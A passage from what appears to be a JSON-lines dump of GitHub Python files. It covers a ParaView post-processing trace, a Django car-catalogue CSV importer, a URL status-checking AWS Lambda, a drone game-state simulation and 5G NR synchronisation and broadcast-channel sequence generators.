'PiecewiseFunction'\nsolutionpvdDisplay.OpacityByArray = 0\nsolutionpvdDisplay.OpacityArray = ['POINTS', 'C_1']\nsolutionpvdDisplay.OpacityTransferFunction = 'PiecewiseFunction'\n\n# init the 'Arrow' selected for 'GlyphType'\nsolutionpvdDisplay.GlyphType.TipResolution = 6\nsolutionpvdDisplay.GlyphType.TipRadius = 0.1\nsolutionpvdDisplay.GlyphType.TipLength = 0.35\nsolutionpvdDisplay.GlyphType.ShaftResolution = 6\nsolutionpvdDisplay.GlyphType.ShaftRadius = 0.03\nsolutionpvdDisplay.GlyphType.Invert = 0\n\n# init the 'PiecewiseFunction' selected for 'ScaleTransferFunction'\nsolutionpvdDisplay.ScaleTransferFunction.Points = [0.0, 0.0, 0.5, 0.0, 1.0, 1.0, 0.5, 0.0]\n\n# init the 'PiecewiseFunction' selected for 'OpacityTransferFunction'\nsolutionpvdDisplay.OpacityTransferFunction.Points = [0.0, 0.0, 0.5, 0.0, 1.0, 1.0, 0.5, 0.0]\n\n# set scalar coloring\nColorBy(solutionpvdDisplay, ('POINTS', 'density'))\n\n# rescale color and/or opacity maps used to include current data range\nsolutionpvdDisplay.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, True)\n\n# get color transfer function/color map for 'density'\ndensityLUT = GetColorTransferFunction('density')\n\n# get opacity transfer function/opacity map for 'density'\ndensityPWF = GetOpacityTransferFunction('density')\n\n# hide data in view\nHide(solutionpvd_1, renderView1)\n\n# hide data in view\nHide(annotateTimeFilter1, renderView1)\n\n# create a new 'Annotate Time Filter'\nannotateTimeFilter2 = AnnotateTimeFilter(Input=solutionpvd)\nannotateTimeFilter2.Format = 'Time: %f'\nannotateTimeFilter2.Shift = 0.0\nannotateTimeFilter2.Scale = 1.0\n\n# set active source\nSetActiveSource(annotateTimeFilter1)\n\n# set active source\nSetActiveSource(annotateTimeFilter2)\n\n# set active source\nSetActiveSource(annotateTimeFilter1)\n\n# set active source\nSetActiveSource(annotateTimeFilter2)\n\n# Properties modified on annotateTimeFilter2\nannotateTimeFilter2.Format = 'Time: %2.2f h'\nannotateTimeFilter2.Scale = 0.00027777777\n\n# show data in view\nannotateTimeFilter2Display = Show(annotateTimeFilter2, renderView1)\n# trace defaults for the display properties.\nannotateTimeFilter2Display.Interactivity = 1\nannotateTimeFilter2Display.Color = [1.0, 1.0, 1.0]\nannotateTimeFilter2Display.Opacity = 1.0\nannotateTimeFilter2Display.FontFamily = 'Arial'\nannotateTimeFilter2Display.Bold = 0\nannotateTimeFilter2Display.Italic = 0\nannotateTimeFilter2Display.Shadow = 0\nannotateTimeFilter2Display.FontSize = 18\nannotateTimeFilter2Display.Justification = 'Left'\nannotateTimeFilter2Display.WindowLocation = 'AnyLocation'\nannotateTimeFilter2Display.Position = [0.05, 0.05]\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.Color = [0.0, 0.0, 0.0]\n\n# set active source\nSetActiveSource(annotateTimeFilter1)\n\n# set active source\nSetActiveSource(annotateTimeFilter2)\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 17\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 16\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 15\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 14\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 13\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 12\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 11\n\n# Properties modified on annotateTimeFilter2Display\nannotateTimeFilter2Display.FontSize = 10\n\n# set active source\nSetActiveSource(solutionpvd)\n\n# hide color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, False)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save animation images/movie\nWriteAnimation('sandbox/restart_sandbox/Composition.avi', Magnification=1, FrameRate=10.0, Compression=True)\n\n# set scalar coloring\nColorBy(solutionpvdDisplay, ('POINTS', 'strain_rate'))\n\n# rescale color and/or opacity maps used to include current data range\nsolutionpvdDisplay.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, True)\n\n# get color transfer function/color map for 'strainrate'\nstrainrateLUT = GetColorTransferFunction('strainrate')\n\n# get opacity transfer function/opacity map for 'strainrate'\nstrainratePWF = GetOpacityTransferFunction('strainrate')\n\n# Rescale transfer function\nstrainrateLUT.RescaleTransferFunction(1e-09, 0.01)\n\n# Rescale transfer function\nstrainratePWF.RescaleTransferFunction(1e-09, 0.01)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save animation images/movie\nWriteAnimation('sandbox/restart_sandbox/Strainrate.avi', Magnification=1, FrameRate=10.0, Compression=True)\n\n# hide color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, False)\n\n# hide data in view\nHide(annotateTimeFilter2, renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Strainrate_1cm.png', magnification=1, quality=100, view=renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Strainrate_2cm.png', magnification=1, quality=100, view=renderView1)\n\n# set scalar coloring\nColorBy(solutionpvdDisplay, ('POINTS', 'viscosity'))\n\n# rescale color and/or opacity maps used to include current data range\nsolutionpvdDisplay.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, True)\n\n# get color transfer function/color map for 'viscosity'\nviscosityLUT = GetColorTransferFunction('viscosity')\n\n# get opacity transfer function/opacity map for 'viscosity'\nviscosityPWF = GetOpacityTransferFunction('viscosity')\n\n# Rescale transfer function\nviscosityLUT.RescaleTransferFunction(100.0, 10000000.0)\n\n# Rescale transfer function\nviscosityPWF.RescaleTransferFunction(100.0, 10000000.0)\n\n# Properties modified on viscosityLUT\nviscosityLUT.NumberOfTableValues = 7\n\n# get color legend/bar for viscosityLUT in view renderView1\nviscosityLUTColorBar = GetScalarBar(viscosityLUT, renderView1)\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.Title = 'Viscosity [Pas]'\nviscosityLUTColorBar.TitleColor = [0.0, 0.0, 0.0]\nviscosityLUTColorBar.LabelColor = [0.0, 0.0, 0.0]\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.AutoOrient = 0\nviscosityLUTColorBar.Orientation = 'Horizontal'\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.AutomaticLabelFormat = 0\nviscosityLUTColorBar.LabelFormat = '%-#3.3e'\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.LabelFormat = '%-#3.0e'\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.RangeLabelFormat = '%3.0e'\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.LabelFormat = '%3.0e'\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.LabelFormat = '3.0e'\n\n# Properties modified on viscosityLUTColorBar\nviscosityLUTColorBar.LabelFormat = '%3.0e'\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save animation images/movie\nWriteAnimation('sandbox/restart_sandbox/Viscosity.avi', Magnification=1, FrameRate=10.0, Compression=True)\n\n# Properties modified on viscosityLUT\nviscosityLUT.NumberOfTableValues = 5\n\n# set active source\nSetActiveSource(annotateTimeFilter2)\n\n# show data in view\nannotateTimeFilter2Display = Show(annotateTimeFilter2, renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save animation images/movie\nWriteAnimation('sandbox/restart_sandbox/Viscosity.avi', Magnification=1, FrameRate=10.0, Compression=True)\n\n# set active source\nSetActiveSource(annotateTimeFilter2)\n\n# set active source\nSetActiveSource(solutionpvd)\n\n# set scalar coloring\nColorBy(solutionpvdDisplay, ('POINTS', 'p'))\n\n# rescale color and/or opacity maps used to include current data range\nsolutionpvdDisplay.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, True)\n\n# get color transfer function/color map for 'p'\npLUT = GetColorTransferFunction('p')\n\n# get opacity transfer function/opacity map for 'p'\npPWF = GetOpacityTransferFunction('p')\n\n# Rescale transfer function\npLUT.RescaleTransferFunction(0.0, 350.0)\n\n# Rescale transfer function\npPWF.RescaleTransferFunction(0.0, 350.0)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save animation images/movie\nWriteAnimation('sandbox/restart_sandbox/Pressure.avi', Magnification=1, FrameRate=10.0, Compression=True)\n\n# hide color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, False)\n\n# hide data in view\nHide(annotateTimeFilter2, renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Pressure_2cm.png', magnification=1, quality=100, view=renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Pressure_1cm.png', magnification=1, quality=100, view=renderView1)\n\n# set scalar coloring\nColorBy(solutionpvdDisplay, ('POINTS', 'viscosity'))\n\n# rescale color and/or opacity maps used to include current data range\nsolutionpvdDisplay.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, True)\n\n# Rescale transfer function\nviscosityLUT.RescaleTransferFunction(100.0, 10000000.0)\n\n# Rescale transfer function\nviscosityPWF.RescaleTransferFunction(100.0, 10000000.0)\n\n# hide color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, False)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Viscosity_1cm.png', magnification=1, quality=100, view=renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Viscosity_2cm.png', magnification=1, quality=100, view=renderView1)\n\n# set scalar coloring\nColorBy(solutionpvdDisplay, ('POINTS', 'density'))\n\n# rescale color and/or opacity maps used to include current data range\nsolutionpvdDisplay.RescaleTransferFunctionToDataRange(True)\n\n# show color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, True)\n\n# hide color bar/color legend\nsolutionpvdDisplay.SetScalarBarVisibility(renderView1, False)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Compositions_2cm.png', magnification=1, quality=100, view=renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Compositions_1cm.png', magnification=1, quality=100, view=renderView1)\n\n# Properties modified on renderView1\nrenderView1.UseLight = 0\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Compositions_1cm.png', magnification=1, quality=100, view=renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save screenshot\nSaveScreenshot('sandbox/restart_sandbox/Compositions_2cm.png', magnification=1, quality=100, view=renderView1)\n\n# set active source\nSetActiveSource(annotateTimeFilter2)\n\n# show data in view\nannotateTimeFilter2Display = Show(annotateTimeFilter2, renderView1)\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n# save animation images/movie\nWriteAnimation('sandbox/restart_sandbox/Composition.avi', Magnification=1, FrameRate=10.0, Compression=True)\n\n#### saving camera placements for all active views\n\n# current camera placement for renderView1\nrenderView1.InteractionMode = '2D'\nrenderView1.CameraPosition = [0.1, 0.025, 0.39826142083018456]\nrenderView1.CameraFocalPoint = [0.1, 0.025, 0.0]\nrenderView1.CameraParallelScale = 0.07040341550470697\n\n#### uncomment the following to render all views\n# RenderAllViews()\n# alternatively, if you want to write images, you can use SaveScreenshot(...).\n","repo_name":"anne-glerum/paper-aspect-plasticity-subduction-data","sub_path":"sandbox/sandbox_postprocess.py","file_name":"sandbox_postprocess.py","file_ext":"py","file_size_in_byte":21677,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"930744346","text":"import decimal\n\nfrom django.core.management.base import BaseCommand\n\nimport pandas as pd\n\nfrom car.models import Make, Car, CarModel, CarSubModel\n\n\nclass Command(BaseCommand):\n help = 'Import Catalog from Excel'\n\n def handle(self, *args, **options):\n make_df = pd.read_csv(\"data/makes.csv\", error_bad_lines=False, keep_default_na=False)\n row_iter = make_df.iterrows()\n objs = [\n Make(\n name=row['name'],\n slug=row['id'],\n active=True if str.strip(row['active']).lower() == 't' else False,\n created_at=row['created_at'],\n updated_at=row['updated_at']\n ) for index, row in row_iter\n ]\n Make.objects.bulk_create(objs)\n\n model_df = pd.read_csv(\"data/models.csv\", error_bad_lines=False, keep_default_na=False)\n row_iter = model_df.iterrows()\n objs = []\n for index, row in row_iter:\n make = Make.objects.filter(slug=row['make_id']).first()\n if make:\n objs.append(\n CarModel(\n name=row['name'],\n slug=row['id'],\n active=True if str.strip(row['active']).lower() == 't' else False,\n make=make,\n created_at=row['created_at'],\n updated_at=row['updated_at']\n )\n )\n CarModel.objects.bulk_create(objs)\n\n submodel_df = pd.read_csv(\"data/submodels.csv\", error_bad_lines=False, keep_default_na=False)\n row_iter = submodel_df.iterrows()\n objs = []\n for index, row in row_iter:\n car_model = CarModel.objects.filter(slug=row['model_id']).first()\n if car_model:\n objs.append(\n CarSubModel(\n name=row['name'],\n slug=row['id'],\n active=True if str.strip(row['active']).lower() == 't' else False,\n model=car_model,\n created_at=row['created_at'],\n updated_at=row['updated_at']\n )\n )\n CarSubModel.objects.bulk_create(objs)\n\n submodel_df = pd.read_csv(\"data/cars.csv\", error_bad_lines=False, keep_default_na=False)\n row_iter = submodel_df.iterrows()\n\n for index, row in row_iter:\n make = Make.objects.filter(slug=row['make_id']).first()\n car_model = CarModel.objects.filter(slug=row['model_id']).first()\n car_submodel = CarSubModel.objects.filter(slug=row['submodel_id']).first()\n if all([make, car_model, car_submodel]):\n try:\n car = Car(\n hash=row['id'],\n active=True if str.strip(row['active']).lower() == 't' else False,\n year=row['year'],\n mileage=decimal.Decimal(row['mileage']),\n price=decimal.Decimal(row['price']),\n make=make,\n model=car_model,\n submodel=car_submodel,\n body_type=row['body_type'],\n transmission=row['transmission'],\n fuel_type=row['fuel_type'],\n exterior_color=row['exterior_color'],\n created_at=row['created_at'],\n updated_at=row['updated_at']\n )\n car.save()\n except Exception as e:\n pass\n\n print('Data imported successfully!')\n\n\n\n","repo_name":"Rashiddev/assignment","sub_path":"car/management/commands/import_cars_data.py","file_name":"import_cars_data.py","file_ext":"py","file_size_in_byte":3695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31698283643","text":"import requests\nimport json\n\ndef lambda_handler(event, context):\n results = {}\n for eventval in event:\n try:\n response = requests.get(event[eventval])\n results[eventval] = response.status_code\n except:\n results[eventval] = 500\n json_response = json.dumps(results)\n return json_response\n","repo_name":"ArthurGartner/csci656-final-project","sub_path":".lambda/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"827948554","text":"import logging\nfrom random import Random\n\nfrom Events.Game.move.Simple_map import Simple_map\nfrom Events.Game.move.algos.GameObjects.data_lists.Hit_list import Hit_list\nfrom Events.Game.move.algos.GameObjects.data_lists.Result_list import Result_list\nfrom Events.Game.move.algos.GameObjects.data_lists.all_results import Result_tr_list\nfrom Events.Game.move.algos.GameObjects.data_lists.result import Result_file\nfrom Events.Game.move.algos.GameObjects.data_lists.sos import Sos_list\nfrom Events.Game.move.algos.GameObjects.data_lists.tools.enum.enum_settings import Modes\nfrom Events.Game.move.algos.naive_algo import Naive_Algo\nfrom Events.Game.move.algos.GameObjects.data_lists.tools.settings import Settings\nfrom Events.Game.move.algos.GameObjects.intruder import Intruder\nfrom Events.Game.move.algos.GameObjects.data_lists.tools.enum.enumStatus import UavStatus, Sides, HandStatus\nfrom Events.Game.move.algos.GameObjects.hand import Hand\nfrom Events.Game.move.algos.GameObjects.data_lists.tools.point import Point\n\nfrom Events.Game.move.algos.GameObjects.uav import Uav\nfrom Events.Game.move.distance import get_2d_distance\nfrom Events.Game.move.get_position import get_point_on_tier1, get_point_base_on_distance\nimport typing\n\nclass GameState():\n def __init__(self, uav_number,v_of_uav,velocity_hand,map_size_x,map_size_y,hands_number,map_resolution,uav_size,hand_size,list_of_cells_with_points,settings,setting:Settings,rand:Random,hit_list,result_tr_list,result_file):\n\n self.visualize_first=True\n self.t_curr=0\n #init UAv\n self.uav_list:typing.List[Uav] = []\n self.list_of_dead_uavs=[]\n self.hit_list=hit_list\n self.is_training=False\n self.result_tr_list=result_tr_list\n self.result_file=result_file\n self.sos_list=Sos_list(settings)\n from Events.Game.move.Game_Map import GameMap\n simple_map=Simple_map(map_size_x,map_size_y,map_resolution,uav_size,hand_size,list_of_cells_with_points,settings)\n self.game_map=GameMap(map_size_x,map_size_y,map_resolution,uav_size,hand_size,list_of_cells_with_points,settings,simple_map)\n self.rand=rand\n\n\n\n for i in range(0, uav_number):\n self.uav_list.append(Uav(0,0,UavStatus.TIER_2,0,v_of_uav,i,0,UavStatus.TIER_2,None,0,0,0,0))\n self.naive_algo=Naive_Algo(settings.naive_algo_list_limit,settings.naive_algo_curiosity_ratio,settings.iterations_for_learning,settings,self.hit_list,self.uav_list,rand,self.result_tr_list,self.result_file)\n #init hands\n self.hands_list:typing.List[Hand] = []\n if(hands_number==1):\n self.hands_list.append(Hand(HandStatus.TIER_0,velocity_hand,Sides.LEFT,map_size_x,map_size_y,0,HandStatus.TIER_0,None))\n elif (hands_number==2):\n self.hands_list.append(Hand(HandStatus.TIER_0,velocity_hand,Sides.RIGHT,map_size_x,map_size_y,0,HandStatus.TIER_0,None))\n self.hands_list.append(Hand(HandStatus.TIER_0,velocity_hand,Sides.LEFT,map_size_x,map_size_y,0,HandStatus.TIER_0,None))\n if settings.load_memory or settings.mode==Modes.EXPLOITATION:\n self.naive_algo.load_memory()\n self.intruder=Intruder(0,0,UavStatus.WAIT,20,20,0,UavStatus.WAIT,Point(0,0,),0)\n logging.info(\"state initiated\")\n\n\n def update_postions(self,current_time,uav_velocity,hand_velocity,event_owner,jump_ratio,settings,event_list):\n\n\n\n\n\n self.game_map.update_map(self.uav_list,self.hands_list,None)\n for uav in self.uav_list: #uavs to update\n if event_owner!=uav:\n if uav.status!=UavStatus.TIER_2 and uav.status!=UavStatus.DEAD and uav.status!=UavStatus.WAIT:\n delta_time=current_time-uav.last_postion_update_time\n distance=delta_time*uav_velocity #distance which was taken during delta\n if (uav.next_status == UavStatus.TIER_1 and uav.status == UavStatus.TIER_1) or (uav.next_status == UavStatus.DODGE and uav.status == UavStatus.PLANED_DODGE): # move on circle\n uav.set_new_position(get_point_on_tier1(uav.position,distance,uav.target_position),current_time)\n else:\n uav.set_new_position(get_point_base_on_distance(uav.position, distance, uav.target_position), current_time)\n\n\n\n for hand in self.hands_list:\n if event_owner!=hand:\n if hand.status not in [HandStatus.WAIT,HandStatus.TIER_0,HandStatus.WAIT_AFTER_JUMP]:\n delta_time=current_time-hand.last_postion_update_time\n distance=0\n if hand.status==HandStatus.JUMP:\n distance=delta_time*hand_velocity*jump_ratio\n else:\n distance=delta_time*hand_velocity\n hand.set_new_position(get_point_base_on_distance(hand.position, distance, hand.target_position), current_time)\n self.check_collisions(settings,event_list,current_time)\n if settings.drone_energy_destroy_condition:\n self.check_energy(event_list)\n\n def check_energy(self, event_list):\n # check uav energy\n uav_list_to_delete = []\n for uav in self.uav_list:\n if uav.energy < 0:\n uav_list_to_delete.append(uav)\n for uav_to_delete in uav_list_to_delete:\n self.remove_drone(event_list, uav_to_delete)\n\n def check_collisions(self,settings,event_list,time):\n uav_list_to_delete=[]\n for uav in self.uav_list:\n if uav.position!=None:\n for hand in self.hands_list:\n if get_2d_distance(uav.position,hand.position) np.ndarray:\n \"\"\"Compute c as per:\n TS 38.211 16.2.0 (2020-07) 5.2.1 Pseudo-random sequence generation\n\n Args:\n M_PN (int): Sequence length\n c_init (int): initializer\n\n Returns:\n np.ndarray: Pseudo-random sequence of length M_PN\n \"\"\"\n c = np.zeros(M_PN)\n N_c = 1600\n x_1 = np.array([1], dtype=int)\n x_1.resize(len(c) + N_c)\n x_2 = np.zeros((len(c) + N_c))\n x_2_c = np.flip([int(x) for x in bin(c_init)[2:]]).copy()\n x_2_c.resize(30)\n x_2[:len(x_2_c)] = x_2_c\n\n for n in range(len(x_1)-31):\n x_1[n+31] = (x_1[n+3] + x_1[n]) % 2\n x_2[n+31] = (x_2[n+3] + x_2[n+2] + x_2[n+1] + x_2[n]) % 2\n\n for n in range(M_PN):\n c[n] = (x_1[n + N_c] + x_2[n + N_c]) % 2\n return c\n\n\ndef pss(N_ID2: int) -> np.ndarray:\n \"\"\"Generate primary synchronization signal as per:\n TS 38 211 V16.2.0 (2020-07) 7.4.2.2 Primary synchronization signal\n\n Args:\n N_ID2 (int): Cell ID sector\n\n Returns:\n np.ndarray: Primary synchronization signal sequence (127 symbols in {-1,1})\n \"\"\"\n\n d_pss = np.zeros(127, dtype=int)\n x = np.resize([0, 1, 1, 0, 1, 1, 1], 127)\n\n for i in range(len(x)-7):\n x[i+7] = (x[i+4] + x[i]) % 2\n\n for n in range(len(d_pss)):\n d_pss[n] = x[(n+43*N_ID2) % 127]\n\n return bpsk(d_pss)\n\n\ndef sss(N_ID1: int, N_ID2: int) -> np.ndarray:\n \"\"\"Generate secondary synchronization signal as per:\n TS 138 211 V16.2.0 (2020-07) 7.4.2.3 Secondary synchronization signal\n\n Args:\n N_ID1 (int): Cell ID group\n N_ID2 (int): Cell ID sector\n\nReturns:\n np.ndarray: Secondary synchronization signal sequence (127 symbols in {-1,1})\n \"\"\"\n x_0 = np.resize([1, 0, 0, 0, 0, 0, 0], 127)\n x_1 = np.resize([1, 0, 0, 0, 0, 0, 0], 127)\n m_0 = 15*(N_ID1//112) + 5 * N_ID2\n m_1 = N_ID1 % 112\n\n for i in range(len(x_0)-8):\n x_0[i+7] = (x_0[i+4] + x_0[i]) % 2\n x_1[i+7] = (x_1[i+1] + x_1[i]) % 2\n\n d_sss = np.zeros(127, dtype=int)\n for n in range(len(d_sss)):\n d_sss[n] = (x_0[(n+m_0) % 127])*(x_1[(n+m_1) % 127])\n\n return bpsk(d_sss)\n\n\ndef dmrs(i_ssb: int, N_ID_Cell: int, L_max: int, n_hf: bool = False) -> np.ndarray:\n \"\"\"Generate Demodulation reference signals for PBCH as per \n TS 38.211 V16.2.0 (2020-07) 7.4.1.4 Demodulation reference signals for PBCH \n\n Args:\n i_ssb (int): SS/PBCH block index\n N_ID_Cell (int): Cell identity ID\n L_max (int): Maximum number of SS/PBCH blocks in a half frame\n n_hf (bool, optional): Number of the half-frame in which the PBCH is transmitted in a frame n_hf=False: first half-frame,n_hf=True: second half-frame . Defaults to False.\n\n Returns:\n np.ndarray: Demodulation reference signals for PBCH\n \"\"\"\n M = 144\n i_ssb_ = None\n\n if L_max == 4:\n i_ssb_ = i_ssb % 4 + 4 * int(n_hf)\n elif L_max > 4:\n i_ssb_ = i_ssb % 8\n\n c_init = int(2**11 * (i_ssb_ + 1) * ((N_ID_Cell // 4)+1) +\n 2**6 * (i_ssb_ + 1) +\n (N_ID_Cell % 4))\n\n c = prsg(2 * M + 1, c_init)\n\n r = np.zeros(M, dtype=complex)\n for m in range(M):\n r[m] = (1 - 2 * c[2 * m] + (1 - 2 * c[2 * m + 1]) * 1j) / np.sqrt(2) # compute complex symbols\n return r\n\n\ndef pbch(b: Union[np.ndarray, list], i_SSB: int, N_ID_Cell: int, L_max: int) -> np.ndarray:\n \"\"\"Generate physical broadcast channel sequence as per:\n TS 38.211 V16.2.0 (2020-07) 7.3.3 Physical broadcast channel\n\n Args:\n b (Union[np.ndarray, list]): PBCH payload bits\n i_SSB (int): SS/PBCH block index\n N_ID_Cell (int): Cell identity ID\n L_max (int): Maximum number of SS/PBCH blocks in a half frame\n\n Raises:\n ValueError: PBCH payload data must be 864 symbols\n\n Returns:\n np.ndarray: Scrambled and QPSK modulated PBCH symbols\n \"\"\"\n\n M_bit = len(b)\n if not M_bit == 864:\n raise ValueError('PBCH payload data must be 864 symbols')\n\n v = None\n if L_max == 4:\n v = i_SSB % 2**2\n else:\n v = i_SSB % 2**3\n\n c = prsg((1+v) * M_bit, N_ID_Cell)\n\n b_ = [(b[i] + c[i + v * M_bit]) % 2 